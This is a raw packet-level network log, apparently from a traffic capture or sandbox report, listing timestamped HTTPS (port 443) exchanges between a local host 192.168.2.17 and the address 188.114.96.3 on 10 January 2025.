Jan 10, 2025 20:50:08.682630062 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.723521948 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.723537922 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.723611116 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.723619938 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.723660946 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.767626047 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.767647028 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.767714977 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.767724991 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.767733097 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.767752886 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.767776012 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.767781973 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.767824888 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.767839909 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.767854929 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.767870903 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.767877102 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.767911911 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.767950058 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.768079996 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.768096924 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.768152952 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.768160105 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.768204927 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.768841028 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.768860102 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.768920898 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.768927097 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.769011974 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.769900084 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.769916058 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.769972086 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.769978046 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.770025015 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.770025015 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.770278931 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.770293951 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.770348072 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.770353079 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.770458937 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.810698986 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.810725927 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.810801029 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.810812950 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.810899973 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.854340076 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.854360104 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.854434967 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.854446888 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.854495049 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.854502916 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.854513884 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.854548931 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.854559898 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.854568005 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.854629040 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.854629993 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.854911089 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.854933977 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.854991913 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.855000019 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.855005980 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.855027914 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.855062008 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.855068922 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.855112076 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.855112076 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.855710030 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.855725050 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.855786085 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.855792999 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.855845928 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.856745958 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.856760979 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.856869936 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.856878042 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.856926918 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.857137918 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.857155085 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.857230902 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.857237101 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.857336044 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.897536039 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.897551060 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.897614956 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.897624016 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.897733927 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.941200018 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.941219091 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.941376925 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.941385031 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.941426992 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.941442013 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.941446066 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.941458941 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.941519022 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.941556931 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.941689968 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.941705942 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.941864014 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.941873074 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.941942930 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.941957951 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.941963911 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.941973925 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.942028046 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.942104101 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.942641020 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.942656994 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.942827940 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.942835093 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.942899942 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.943598986 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.943615913 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.943685055 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.943691969 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.943746090 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.943939924 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.943954945 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.944026947 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.944032907 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.944076061 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.944181919 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.984462023 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.984478951 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.984589100 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.984599113 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.984657049 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.028001070 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.028069973 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.028202057 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.028222084 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.028332949 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.028340101 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.028464079 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.028482914 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.028558016 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.028563023 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.028615952 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.028788090 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.028801918 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.028865099 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.028872967 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.028990030 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.029010057 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.029089928 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.029089928 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.029097080 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.029614925 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.029630899 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.029700994 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.029709101 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.030706882 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.030725956 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.030772924 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.030781031 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.030836105 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.031328917 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.031343937 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.031407118 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.031414986 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.073860884 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.121117115 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121145964 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121201038 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121247053 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.121248960 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121269941 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121285915 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121320963 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121351004 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.121351004 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.121354103 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121370077 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121388912 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121431112 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.121431112 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.121439934 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121474028 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.121524096 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.121536970 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121556044 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121649027 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.121649027 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.121654987 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121679068 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121700048 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121721029 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.121726036 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121829033 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.121829033 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.121840000 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121855021 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.121937990 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.121943951 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.122001886 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.122004986 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.122014999 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.122037888 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.122065067 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.122072935 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.122118950 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.122276068 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.208261013 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.208281040 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.208363056 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.208373070 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.208381891 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.208422899 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.208448887 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.208460093 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.208507061 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.208576918 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.208602905 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.208622932 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.208698034 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.208704948 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.208803892 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.208904028 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.208919048 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.209000111 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.209006071 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.209043980 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.209084988 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.209193945 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.209208012 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.209275961 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.209283113 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.209372997 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.209386110 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.209402084 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.209513903 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.209513903 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.209520102 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.209574938 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.209748983 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.209763050 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.209939957 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.209947109 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.209985971 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.210004091 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.210005999 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.210016966 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.210047007 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.210109949 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.295408010 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.295435905 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.295488119 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.295500994 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.295511961 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.295563936 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.295579910 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.295599937 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.295608044 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.295650005 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.295717955 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.295924902 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.295949936 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.296040058 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.296040058 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.296046972 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.296070099 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.296088934 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.296143055 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.296149015 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.296173096 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.296384096 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.296400070 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.296472073 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.296479940 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.296634912 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.296659946 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.296690941 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.296708107 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.296756029 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.297020912 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.297034979 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.297106981 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.297112942 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.297868013 CET	49680	443	192.168.2.17	20.189.173.13
Jan 10, 2025 20:50:09.345870972 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.382421970 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.382447958 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.382522106 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.382535934 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.382548094 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.382570028 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.382595062 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.382601023 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.382612944 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.382627010 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.382667065 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.382705927 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.382711887 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.382863998 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.382884026 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.382926941 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.382931948 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.382951021 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.382987022 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.383183956 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.383203030 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.383291960 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.383297920 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.383357048 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.383393049 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.383410931 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.383465052 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.383470058 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.383502007 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.383522987 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.383533001 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.383537054 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.383578062 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.383620024 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.383836985 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.383857965 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.383912086 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.383917093 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.383965969 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.383965969 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.469383955 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.469428062 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.469490051 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.469496965 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.469511986 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.469558001 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.469567060 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.469594955 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.469619036 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.469626904 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.469675064 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.469750881 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.469839096 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.469861984 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.469935894 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.469944000 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.470084906 CET	443	49803	188.114.96.3	192.168.2.17
